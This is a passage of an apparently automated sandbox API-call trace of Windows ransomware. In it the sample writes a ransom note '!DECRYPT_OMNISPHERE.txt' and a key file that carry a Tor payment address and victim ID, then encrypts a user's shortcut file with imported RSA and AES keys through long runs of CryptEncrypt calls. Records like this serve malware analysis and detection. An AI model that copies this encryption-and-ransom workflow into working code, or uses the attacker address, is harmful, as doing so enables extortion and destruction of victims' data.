lpNumberOfBytesWritten=0x3e0c864*=0x524, lpOverlapped=0x0) returned 1 [0131.473] CloseHandle (hObject=0x3b4) returned 1 [0131.474] UnmapViewOfFile (lpBaseAddress=0x1480000) returned 1 [0131.474] CloseHandle (hObject=0x388) returned 1 [0131.474] SetEndOfFile (hFile=0x3c0) returned 1 [0131.476] FlushFileBuffers (hFile=0x3c0) returned 1 [0131.481] CloseHandle (hObject=0x3c0) returned 1 [0131.481] PathRemoveFileSpecW (in: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Accessibility\\desktop.ini" | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Accessibility") returned 1 [0131.481] GetProcessHeap () returned 0x1600000 [0131.481] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x515) returned 0x1725038 [0131.481] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="http://uu6issmbncd3wjkm.onion/", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0131.481] GetProcessHeap () returned 0x1600000 [0131.481] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x1f) returned 0x16fd988 [0131.482] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="http://uu6issmbncd3wjkm.onion/", cchWideChar=30, lpMultiByteStr=0x16fd988, cbMultiByte=31, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="http://uu6issmbncd3wjkm.onion/", lpUsedDefaultChar=0x0) returned 30 [0131.482] lstrcatA (in: lpString1="", lpString2="http://uu6issmbncd3wjkm.onion/" | out: lpString1="http://uu6issmbncd3wjkm.onion/") returned="http://uu6issmbncd3wjkm.onion/" [0131.482] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="RHPZ2AXYR2V4JCIV", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0131.482] GetProcessHeap () returned 0x1600000 [0131.482] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x11) returned 0x1710100 [0131.482] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="RHPZ2AXYR2V4JCIV", cchWideChar=16, lpMultiByteStr=0x1710100, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="RHPZ2AXYR2V4JCIV", lpUsedDefaultChar=0x0) returned 16 [0131.482] lstrcatA (in: lpString1="http://uu6issmbncd3wjkm.onion/", lpString2="RHPZ2AXYR2V4JCIV" | out: lpString1="http://uu6issmbncd3wjkm.onion/RHPZ2AXYR2V4JCIV") returned="http://uu6issmbncd3wjkm.onion/RHPZ2AXYR2V4JCIV" [0131.482] GetProcessHeap () returned 0x1600000 [0131.482] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0xe6) returned 0x160e0d8 [0131.482] PathCombineW (in: pszDest=0x160e0d8, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Accessibility", pszFile="!DECRYPT_OMNISPHERE.txt" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Accessibility\\!DECRYPT_OMNISPHERE.txt") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Accessibility\\!DECRYPT_OMNISPHERE.txt" [0131.482] GetProcessHeap () returned 0x1600000 [0131.482] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x589) returned 0x171c850 [0131.482] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Accessibility\\!DECRYPT_OMNISPHERE.txt" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\start menu\\programs\\accessibility\\!decrypt_omnisphere.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c0 [0131.483] WriteFile (in: hFile=0x3c0, lpBuffer=0x171c850*, nNumberOfBytesToWrite=0x588, lpNumberOfBytesWritten=0x3e0cdfc, lpOverlapped=0x0 | out: lpBuffer=0x171c850*, lpNumberOfBytesWritten=0x3e0cdfc*=0x588, lpOverlapped=0x0) returned 1 [0131.484] CloseHandle (hObject=0x3c0) returned 1 [0131.485] GetProcessHeap () returned 0x1600000 [0131.485] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x1725038 | out: hHeap=0x1600000) returned 1 [0131.485] GetProcessHeap () returned 0x1600000 [0131.486] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0xdc) returned 0x172c340 [0131.486] PathCombineW (in: pszDest=0x172c340, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Accessibility", pszFile="unique_decrypt.key" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Accessibility\\unique_decrypt.key") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Accessibility\\unique_decrypt.key" [0131.486] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Accessibility\\unique_decrypt.key" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\start menu\\programs\\accessibility\\unique_decrypt.key"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c0 [0131.487] WriteFile (in: hFile=0x3c0, lpBuffer=0x1647c78*, nNumberOfBytesToWrite=0x5a0, lpNumberOfBytesWritten=0x3e0ce10, lpOverlapped=0x0 | out: lpBuffer=0x1647c78*, lpNumberOfBytesWritten=0x3e0ce10*=0x5a0, lpOverlapped=0x0) returned 1 [0131.488] CloseHandle (hObject=0x3c0) returned 1 [0131.489] GetProcessHeap () returned 0x1600000 [0131.489] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x172c340 | out: hHeap=0x1600000) returned 1 [0131.489] GetProcessHeap () returned 0x1600000 [0131.489] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x1625a28 | out: hHeap=0x1600000) returned 1 [0131.489] FindNextFileW (in: hFindFile=0x16394e8, lpFindFileData=0x3e0d0ac | out: lpFindFileData=0x3e0d0ac*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x210f9687, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0x210f9687, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x440149b1, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x452, dwReserved0=0x0, dwReserved1=0xbf, cFileName="Magnify.lnk", cAlternateFileName="")) returned 1 [0131.489] GetProcessHeap () returned 0x1600000 [0131.489] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0xce) returned 0x1625a28 [0131.490] PathCombineW (in: pszDest=0x1625a28, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Accessibility", pszFile="Magnify.lnk" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Accessibility\\Magnify.lnk") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Accessibility\\Magnify.lnk" [0131.490] StrStrW (lpFirst=".omnisphere", lpSrch=".lnk") returned 0x0 [0131.490] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Accessibility\\Magnify.lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\start menu\\programs\\accessibility\\magnify.lnk"), dwDesiredAccess=0xc0000000, dwShareMode=0x5, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c0 [0131.490] GetFileSizeEx (in: hFile=0x3c0, lpFileSize=0x3e0cdd4 | out: lpFileSize=0x3e0cdd4*=1106) returned 1 [0131.490] GetTickCount () returned 0x1160c9a [0131.490] GetTickCount () returned 0x1160c9a [0131.490] GetTickCount () returned 0x1160c9a [0131.490] GetTickCount () returned 0x1160c9a [0131.490] GetTickCount () returned 0x1160c9a [0131.490] GetTickCount () returned 0x1160c9a [0131.490] GetTickCount () returned 0x1160c9a [0131.490] GetTickCount () returned 0x1160c9a [0131.490] GetTickCount () returned 0x1160c9a [0131.490] GetTickCount () returned 0x1160c9a [0131.490] GetTickCount () returned 0x1160c9a [0131.490] GetTickCount () returned 0x1160c9a [0131.490] GetTickCount () returned 0x1160c9a [0131.490] GetTickCount () returned 0x1160c9a [0131.490] GetTickCount () returned 0x1160c9a [0131.491] GetTickCount () returned 0x1160c9a [0131.491] GetTickCount () returned 0x1160c9a [0131.491] GetTickCount () returned 0x1160c9a [0131.491] GetTickCount () returned 0x1160c9a [0131.491] GetTickCount () returned 0x1160c9a [0131.491] GetTickCount () returned 0x1160c9a [0131.491] GetTickCount () returned 0x1160c9a [0131.491] GetTickCount () returned 0x1160c9a [0131.491] GetTickCount () returned 0x1160c9a [0131.491] GetTickCount () returned 0x1160c9a [0131.491] GetTickCount () returned 0x1160c9a [0131.491] GetTickCount () returned 0x1160c9a [0131.491] GetTickCount () returned 0x1160c9a [0131.491] GetTickCount () returned 0x1160c9a [0131.491] GetTickCount () returned 0x1160c9a [0131.491] GetTickCount () returned 0x1160c9a [0131.491] GetTickCount () returned 0x1160c9a [0131.491] CryptAcquireContextW (in: phProv=0x3e0c85c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000040 | out: phProv=0x3e0c85c*=0x1669120) returned 1 [0131.492] CryptImportKey (in: hProv=0x1669120, pbData=0x3e0c7c4, dwDataLen=0x94, hPubKey=0x0, dwFlags=0x0, phKey=0x3e0c868 | out: phKey=0x3e0c868*=0x1639b28) returned 1 [0131.492] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x3e0cd14*, pdwDataLen=0x3e0c858*=0x75, dwBufLen=0x80 | out: pbData=0x3e0cd14*, pdwDataLen=0x3e0c858*=0x80) returned 1 [0131.492] CryptDestroyKey (hKey=0x1639b28) returned 1 [0131.492] CryptReleaseContext (hProv=0x1669120, dwFlags=0x0) returned 1 [0131.492] CreateFileMappingW (hFile=0x3c0, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x452, lpName=0x0) returned 0x388 [0131.492] MapViewOfFile (hFileMappingObject=0x388, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x452) returned 0x1480000 [0131.494] CryptAcquireContextW (in: phProv=0x3e0c84c, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000040 | out: phProv=0x3e0c84c*=0x1669230) returned 1 [0131.494] CryptImportKey (in: hProv=0x1669230, pbData=0x3e0c804, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x3e0c85c | out: phKey=0x3e0c85c*=0x16397a8) returned 1 [0131.494] CryptSetKeyParam (hKey=0x16397a8, dwParam=0x4, pbData=0x3e0c840*=0x2, dwFlags=0x0) returned 1 [0131.494] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x3e0c848*=0x10, dwBufLen=0x10 | out: pbData=0x0*, pdwDataLen=0x3e0c848*=0x10) returned 1 [0131.494] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0131.494] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0131.494] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0131.494] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0131.495] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0131.495] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0131.495] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0131.495] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0131.495] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0131.495] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0131.495] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0131.495] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0131.495] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0131.495] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0131.495] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0131.495] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0131.495] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0131.495] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0131.495] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0131.495] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0131.495] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0131.495] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0131.495] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0131.495] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0131.495] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0131.495] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0131.495] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0131.495] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0131.495] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0131.496] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0131.496] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0131.496] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0131.496] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0131.496] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0131.496] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0131.496] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0131.496] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0131.496] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0131.496] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0131.496] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0131.496] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0131.496] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0131.496] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0131.496] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0131.496] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0131.496] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0131.496] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0131.496] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0131.496] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0131.496] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0131.496] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0131.496] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0131.496] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0131.497] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0131.497] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0131.497] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0131.497] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0131.497] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0131.497] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0131.497] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0131.497] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0131.497] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0131.497] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0131.497] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, 